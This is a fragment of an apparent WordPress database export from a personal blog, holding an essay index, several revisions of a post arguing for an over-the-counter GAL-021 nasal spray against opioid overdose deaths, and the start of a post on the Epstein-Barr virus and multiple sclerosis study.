-->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-01-01 00:01:31','2022-01-01 00:01:31','',22,'https://trevorklee.com/?p=256',0,'revision','',0),
(257,1,'2022-01-07 15:26:36','2022-01-07 15:26:36','<!-- wp:paragraph -->\n<p>I have a terrible plan for reducing opioid overdose deaths.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would not reduce the number of people addicted to opioids; instead, it would ultimately increase it. It would not make opioids less attractive to addicts; instead, it would make them more attractive. It also would not make people less likely to try opioids; instead, it’d make newbies more likely to try opioids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that I’ve stated why my plan is terrible, allow me to explain it. My terrible plan is to formulate <a href=\"https://sleepreviewmag.com/uncategorized/proof-of-concept-galleon-gal-021-perioperative-sleep-apnea/\">GAL-021</a> into a nasal spray and sell it widely without a prescription. GAL-021, if you follow the link, is a drug that, when injected, inhibits the respiratory depression of opioids without inhibiting the active effects (i.e. pain control and euphoria) [1]. It’s an analog of almitrine, a formerly approved, now withdrawn drug which <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">does the same</a> but has nasty side effects. Given that respiratory depression is the reason people die when they overdose on opioids (i.e. they stop breathing), this means that this drug could save lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Think about a world in which this plan was followed through. Any opioid addict could take opioids without fear of overdosing, by simply taking GAL-021 soon after taking opioids. Given that overdoses usually take 1-3 hours after taking the drug, they’d have plenty of time to do so. Their friends could also administer the drug if they are concerned. If there was actually a danger of an overdose, this would save the addict’s life. If there wasn’t, there’d be no harm done, and it wouldn’t even ruin their high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be an advantage over the current situation with Narcan, the nasal spray version of naloxone. True, Narcan/naloxone does stop an overdose. But, it does this by antagonizing the opioid receptors, which is basically like a reverse opioid high. Not only does it stop whatever opioid high you were feeling artificially, but it also stops any high from endorphins. As a result, Narcan feels terrible to the addict, making addicts unlikely to self-administer and making their friends less likely to administer unless they’re sure that they have to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage to making GAL-021 widely available, of course, would be that it could encourage people to take opioids because they see them as safer. However, this is the exact same issue as seatbelts encouraging people to speed or the availability of condoms encouraging teenage sex. As a society, we’ve generally come down on the side of “people are going to do dangerous things, so let’s make them safer”, and I don’t see any reason why this would be different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how practical this plan is. I assure you that this plan, while terrible, is reasonably practical. First, turning an injectable into an intranasal is pretty easy. It only took Lightlake Therapeutics <a href=\"https://archives.drugabuse.gov/about-nida/noras-blog/2015/11/narcan-nasal-spray-life-saving-science-nida\">about a year</a> to develop and test Narcan as an intranasal version of naloxone, and most drugs can simply just be crushed and snorted instead of injected, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The issue of price is also solvable. There’s no way of saying what the price of GAL-021 would be, as it never made it to market due to lack of commercial viability. We can get an idea, though, from the price of almitrine, which was about $115/dose before it was withdrawn from the market. Compare this to the price of Narcan, which is about <a href=\"https://www.goodrx.com/narcan\">$70 a spray</a>, so not hugely different. Also, prices go down when drugs become generic. Generic naloxone is only about <a href=\"https://www.goodrx.com/naloxone\">$30 an injection</a>. I’d imagine the same would happen with this new drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A more serious concern would be <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">the limited half-life of GAL-021</a>, which, in the past, has limited the use of GAL-021 to infusion only. Extending the half-life would require some clever formulation or modification work of <a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\" data-type=\"page\" data-id=\"253\">the sort I\'ve discussed before in regard to semaglutide</a>. Difficult, but not impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">computer modeling suggests that severe opioid overdoses could not be reversed with GAL-021 alone</a>. At that point, you\'d probably need Narcan. However, that\'s also the point at which the addict\'s friends would also be willing to give Narcan, so the aforementioned reluctance would be less of an issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, I think it’s clear that this is a terrible plan for solving the opioid overdose crisis, and I look forward to nobody following through with it. However, given that fentanyl, a synthetic opioid, is now <a href=\"https://www.politifact.com/factchecks/2021/dec/23/facebook-posts/fentanyl-deaths-spike-facebook-post-overstates-how/\">the leading cause of death for ages 18-45</a>, I thought I’d just throw this plan out there.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] The science behind GAL-021 is <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">described in this review</a>, although it’s still not entirely clear.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Essentially, our brain normally can detect hypoxia (a lack of oxygen) through the blockage of the specific potassium channels at the carotid arteries. Agonizing the opioid receptors, however, keeps those potassium channels open, so our bodies don’t notice hypoxia and don’t force us to hyperventilate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GAL-021, almitrine, and related drugs artificially block those specific potassium channels anyways, which trips our body’s hypoxia sensors and forces us to breathe, without affecting the opioid receptors at all.</p>\n<!-- /wp:paragraph -->','My terrible plan for reducing opioid deaths','','publish','closed','closed','','my-terrible-plan-for-reducing-opioid-deaths','','','2022-01-07 16:37:02','2022-01-07 16:37:02','',0,'https://trevorklee.com/?page_id=257',0,'page','',0),
(258,1,'2022-01-07 15:26:36','2022-01-07 15:26:36','<!-- wp:paragraph -->\n<p>I have a terrible plan for reducing opioid overdose deaths. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would not reduce the number of people addicted to opioids; instead, it would ultimately increase it. It would not make opioids less attractive to addicts; instead, it would make them more attractive. It also would not make people less likely to try opioids; instead, it’d make newbies more likely to try opioids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that I’ve stated why my plan is terrible, allow me to explain it. My terrible plan is to formulate <a href=\"https://sleepreviewmag.com/uncategorized/proof-of-concept-galleon-gal-021-perioperative-sleep-apnea/\">GAL-021</a> into a nasal spray and sell it widely without a prescription. GAL-021, if you follow the link, is a drug that, when injected, inhibits the respiratory depression of opioids without inhibiting the active effects (i.e. pain control and euphoria) [1]. It’s an analog of almitrine, a formerly approved, now withdrawn drug which <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">does the same</a> but has nasty side effects. Given that respiratory depression is the reason people die when they overdose on opioids (i.e. they stop breathing), this means that this drug could save lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Think about a world in which this plan was followed through. Any opioid addict could take opioids without fear of overdosing, by simply taking GAL-021 soon after taking opioids. Given that overdoses usually take 1-3 hours after taking the drug, they’d have plenty of time to do so. Their friends could also administer the drug if they are concerned. If there was actually a danger of an overdose, this would save the addict’s life. If there wasn’t, there’d be no harm done, and it wouldn’t even ruin their high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be an advantage over the current situation with Narcan, the nasal spray version of naloxone. True, Narcan/naloxone does stop an overdose. But, it does this by antagonizing the opioid receptors, which is basically like a reverse opioid high. Not only does it stop whatever opioid high you were feeling artificially, but it also stops any high from endorphins. As a result, Narcan feels terrible to the addict, making addicts unlikely to self-administer and making their friends less likely to administer unless they’re sure that they have to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage to making GAL-021 widely available, of course, would be that it could encourage people to take opioids because they see them as safer. However, this is the exact same issue as seatbelts encouraging people to speed or the availability of condoms encouraging teenage sex. As a society, we’ve generally come down on the side of “people are going to do dangerous things, so let’s make them safer”, and I don’t see any reason why this would be different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how practical this plan is. I assure you that this plan, while terrible, is practical. First, turning an injectable into an intranasal is pretty easy. It only took Lightlake Therapeutics <a href=\"https://archives.drugabuse.gov/about-nida/noras-blog/2015/11/narcan-nasal-spray-life-saving-science-nida\">about a year</a> to develop and test Narcan as an intranasal version of naloxone, and most drugs can simply just be crushed and snorted instead of injected, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The issue of price is also solvable. There’s no way of saying what the price of GAL-021 would be, as it never made it to market due to lack of commercial viability. We can get an idea, though, from the price of almitrine, which was about $115/dose before it was withdrawn from the market. Compare this to the price of Narcan, which is about <a href=\"https://www.goodrx.com/narcan\">$70 a spray</a>, so not hugely different. Also, prices go down when drugs become generic. Generic naloxone is only about <a href=\"https://www.goodrx.com/naloxone\">$30 an injection</a>. I’d imagine the same would happen with this new drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, I think it’s clear that this is a terrible plan for solving the opioid overdose crisis, and I look forward to nobody following through with it. However, given that fentanyl, a synthetic opioid, is now <a href=\"https://www.politifact.com/factchecks/2021/dec/23/facebook-posts/fentanyl-deaths-spike-facebook-post-overstates-how/\">the leading cause of death for ages 18-45</a>, I thought I’d just throw this plan out there.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] The science behind GAL-021 is <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">described in this review</a>, although it’s still not entirely clear.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Essentially, our brain normally can detect hypoxia (a lack of oxygen) through the blockage of the specific potassium channels at the carotid arteries. Agonizing the opioid receptors, however, keeps those potassium channels open, so our bodies don’t notice hypoxia and don’t force us to hyperventilate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GAL-021, almitrine, and related drugs artificially block those specific potassium channels anyways, which trips our body’s hypoxia sensors and forces us to breathe, without affecting the opioid receptors at all.</p>\n<!-- /wp:paragraph -->','My terrible plan for reducing opioid deaths','','inherit','closed','closed','','257-revision-v1','','','2022-01-07 15:26:36','2022-01-07 15:26:36','',257,'https://trevorklee.com/?p=258',0,'revision','',0),
(260,1,'2022-01-07 16:36:08','2022-01-07 16:36:08','<!-- wp:paragraph -->\n<p>I have a terrible plan for reducing opioid overdose deaths.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would not reduce the number of people addicted to opioids; instead, it would ultimately increase it. It would not make opioids less attractive to addicts; instead, it would make them more attractive. It also would not make people less likely to try opioids; instead, it’d make newbies more likely to try opioids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that I’ve stated why my plan is terrible, allow me to explain it. My terrible plan is to formulate <a href=\"https://sleepreviewmag.com/uncategorized/proof-of-concept-galleon-gal-021-perioperative-sleep-apnea/\">GAL-021</a> into a nasal spray and sell it widely without a prescription. GAL-021, if you follow the link, is a drug that, when injected, inhibits the respiratory depression of opioids without inhibiting the active effects (i.e. pain control and euphoria) [1]. It’s an analog of almitrine, a formerly approved, now withdrawn drug which <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">does the same</a> but has nasty side effects. Given that respiratory depression is the reason people die when they overdose on opioids (i.e. they stop breathing), this means that this drug could save lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Think about a world in which this plan was followed through. Any opioid addict could take opioids without fear of overdosing, by simply taking GAL-021 soon after taking opioids. Given that overdoses usually take 1-3 hours after taking the drug, they’d have plenty of time to do so. Their friends could also administer the drug if they are concerned. If there was actually a danger of an overdose, this would save the addict’s life. If there wasn’t, there’d be no harm done, and it wouldn’t even ruin their high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be an advantage over the current situation with Narcan, the nasal spray version of naloxone. True, Narcan/naloxone does stop an overdose. But, it does this by antagonizing the opioid receptors, which is basically like a reverse opioid high. Not only does it stop whatever opioid high you were feeling artificially, but it also stops any high from endorphins. As a result, Narcan feels terrible to the addict, making addicts unlikely to self-administer and making their friends less likely to administer unless they’re sure that they have to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage to making GAL-021 widely available, of course, would be that it could encourage people to take opioids because they see them as safer. However, this is the exact same issue as seatbelts encouraging people to speed or the availability of condoms encouraging teenage sex. As a society, we’ve generally come down on the side of “people are going to do dangerous things, so let’s make them safer”, and I don’t see any reason why this would be different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how practical this plan is. I assure you that this plan, while terrible, is reasonably practical. First, turning an injectable into an intranasal is pretty easy. It only took Lightlake Therapeutics <a href=\"https://archives.drugabuse.gov/about-nida/noras-blog/2015/11/narcan-nasal-spray-life-saving-science-nida\">about a year</a> to develop and test Narcan as an intranasal version of naloxone, and most drugs can simply just be crushed and snorted instead of injected, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The issue of price is also solvable. There’s no way of saying what the price of GAL-021 would be, as it never made it to market due to lack of commercial viability. We can get an idea, though, from the price of almitrine, which was about $115/dose before it was withdrawn from the market. Compare this to the price of Narcan, which is about <a href=\"https://www.goodrx.com/narcan\">$70 a spray</a>, so not hugely different. Also, prices go down when drugs become generic. Generic naloxone is only about <a href=\"https://www.goodrx.com/naloxone\">$30 an injection</a>. I’d imagine the same would happen with this new drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A more serious concern would be <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">the limited half-life of GAL-021</a>, which, in the past, has limited the use of GAL-021 to infusion only. Extending the half-life would require some clever formulation or modification work of <a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\" data-type=\"page\" data-id=\"253\">the sort I\'ve discussed before in regard to semaglutide</a>. Difficult, but not impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">computer modeling suggests that severe opioid overdoses could not be reversed with GAL-021 alone</a>. At that point, you\'d probably need Narcan. However, that\'s also the point at which the addict would also likely agree they need Narcan </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, I think it’s clear that this is a terrible plan for solving the opioid overdose crisis, and I look forward to nobody following through with it. However, given that fentanyl, a synthetic opioid, is now <a href=\"https://www.politifact.com/factchecks/2021/dec/23/facebook-posts/fentanyl-deaths-spike-facebook-post-overstates-how/\">the leading cause of death for ages 18-45</a>, I thought I’d just throw this plan out there.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] The science behind GAL-021 is <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">described in this review</a>, although it’s still not entirely clear.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Essentially, our brain normally can detect hypoxia (a lack of oxygen) through the blockage of the specific potassium channels at the carotid arteries. Agonizing the opioid receptors, however, keeps those potassium channels open, so our bodies don’t notice hypoxia and don’t force us to hyperventilate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GAL-021, almitrine, and related drugs artificially block those specific potassium channels anyways, which trips our body’s hypoxia sensors and forces us to breathe, without affecting the opioid receptors at all.</p>\n<!-- /wp:paragraph -->','My terrible plan for reducing opioid deaths','','inherit','closed','closed','','257-autosave-v1','','','2022-01-07 16:36:08','2022-01-07 16:36:08','',257,'https://trevorklee.com/?p=260',0,'revision','',0),
(261,1,'2022-01-07 16:37:02','2022-01-07 16:37:02','<!-- wp:paragraph -->\n<p>I have a terrible plan for reducing opioid overdose deaths.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would not reduce the number of people addicted to opioids; instead, it would ultimately increase it. It would not make opioids less attractive to addicts; instead, it would make them more attractive. It also would not make people less likely to try opioids; instead, it’d make newbies more likely to try opioids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that I’ve stated why my plan is terrible, allow me to explain it. My terrible plan is to formulate <a href=\"https://sleepreviewmag.com/uncategorized/proof-of-concept-galleon-gal-021-perioperative-sleep-apnea/\">GAL-021</a> into a nasal spray and sell it widely without a prescription. GAL-021, if you follow the link, is a drug that, when injected, inhibits the respiratory depression of opioids without inhibiting the active effects (i.e. pain control and euphoria) [1]. It’s an analog of almitrine, a formerly approved, now withdrawn drug which <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">does the same</a> but has nasty side effects. Given that respiratory depression is the reason people die when they overdose on opioids (i.e. they stop breathing), this means that this drug could save lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Think about a world in which this plan was followed through. Any opioid addict could take opioids without fear of overdosing, by simply taking GAL-021 soon after taking opioids. Given that overdoses usually take 1-3 hours after taking the drug, they’d have plenty of time to do so. Their friends could also administer the drug if they are concerned. If there was actually a danger of an overdose, this would save the addict’s life. If there wasn’t, there’d be no harm done, and it wouldn’t even ruin their high.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be an advantage over the current situation with Narcan, the nasal spray version of naloxone. True, Narcan/naloxone does stop an overdose. But, it does this by antagonizing the opioid receptors, which is basically like a reverse opioid high. Not only does it stop whatever opioid high you were feeling artificially, but it also stops any high from endorphins. As a result, Narcan feels terrible to the addict, making addicts unlikely to self-administer and making their friends less likely to administer unless they’re sure that they have to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The disadvantage to making GAL-021 widely available, of course, would be that it could encourage people to take opioids because they see them as safer. However, this is the exact same issue as seatbelts encouraging people to speed or the availability of condoms encouraging teenage sex. As a society, we’ve generally come down on the side of “people are going to do dangerous things, so let’s make them safer”, and I don’t see any reason why this would be different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how practical this plan is. I assure you that this plan, while terrible, is reasonably practical. First, turning an injectable into an intranasal is pretty easy. It only took Lightlake Therapeutics <a href=\"https://archives.drugabuse.gov/about-nida/noras-blog/2015/11/narcan-nasal-spray-life-saving-science-nida\">about a year</a> to develop and test Narcan as an intranasal version of naloxone, and most drugs can simply just be crushed and snorted instead of injected, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The issue of price is also solvable. There’s no way of saying what the price of GAL-021 would be, as it never made it to market due to lack of commercial viability. We can get an idea, though, from the price of almitrine, which was about $115/dose before it was withdrawn from the market. Compare this to the price of Narcan, which is about <a href=\"https://www.goodrx.com/narcan\">$70 a spray</a>, so not hugely different. Also, prices go down when drugs become generic. Generic naloxone is only about <a href=\"https://www.goodrx.com/naloxone\">$30 an injection</a>. I’d imagine the same would happen with this new drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A more serious concern would be <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">the limited half-life of GAL-021</a>, which, in the past, has limited the use of GAL-021 to infusion only. Extending the half-life would require some clever formulation or modification work of <a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\" data-type=\"page\" data-id=\"253\">the sort I\'ve discussed before in regard to semaglutide</a>. Difficult, but not impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, <a href=\"https://pubmed.ncbi.nlm.nih.gov/25704491/\">computer modeling suggests that severe opioid overdoses could not be reversed with GAL-021 alone</a>. At that point, you\'d probably need Narcan. However, that\'s also the point at which the addict\'s friends would also be willing to give Narcan, so the aforementioned reluctance would be less of an issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, I think it’s clear that this is a terrible plan for solving the opioid overdose crisis, and I look forward to nobody following through with it. However, given that fentanyl, a synthetic opioid, is now <a href=\"https://www.politifact.com/factchecks/2021/dec/23/facebook-posts/fentanyl-deaths-spike-facebook-post-overstates-how/\">the leading cause of death for ages 18-45</a>, I thought I’d just throw this plan out there.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] The science behind GAL-021 is <a href=\"https://pubs.asahq.org/anesthesiology/article/128/5/1027/18270/Averting-Opioid-induced-Respiratory-Depression\">described in this review</a>, although it’s still not entirely clear.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Essentially, our brain normally can detect hypoxia (a lack of oxygen) through the blockage of the specific potassium channels at the carotid arteries. Agonizing the opioid receptors, however, keeps those potassium channels open, so our bodies don’t notice hypoxia and don’t force us to hyperventilate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GAL-021, almitrine, and related drugs artificially block those specific potassium channels anyways, which trips our body’s hypoxia sensors and forces us to breathe, without affecting the opioid receptors at all.</p>\n<!-- /wp:paragraph -->','My terrible plan for reducing opioid deaths','','inherit','closed','closed','','257-revision-v1','','','2022-01-07 16:37:02','2022-01-07 16:37:02','',257,'https://trevorklee.com/?p=261',0,'revision','',0),
(263,1,'2022-02-07 22:12:28','2022-02-07 22:12:28','<!-- wp:paragraph -->\n<p><em>If you like this post and want to see more, <a href=\"https://trevorklee.substack.com/\">subscribe to my Substack</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.udiscovermusic.com/wp-content/uploads/2020/09/Best-Prog-Rock-Albums.jpg\" alt=\"The 50 Greatest Prog Rock Albums Of All Time | uDiscover\"/><figcaption>Top Google result for \"cool prog-rock album\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, 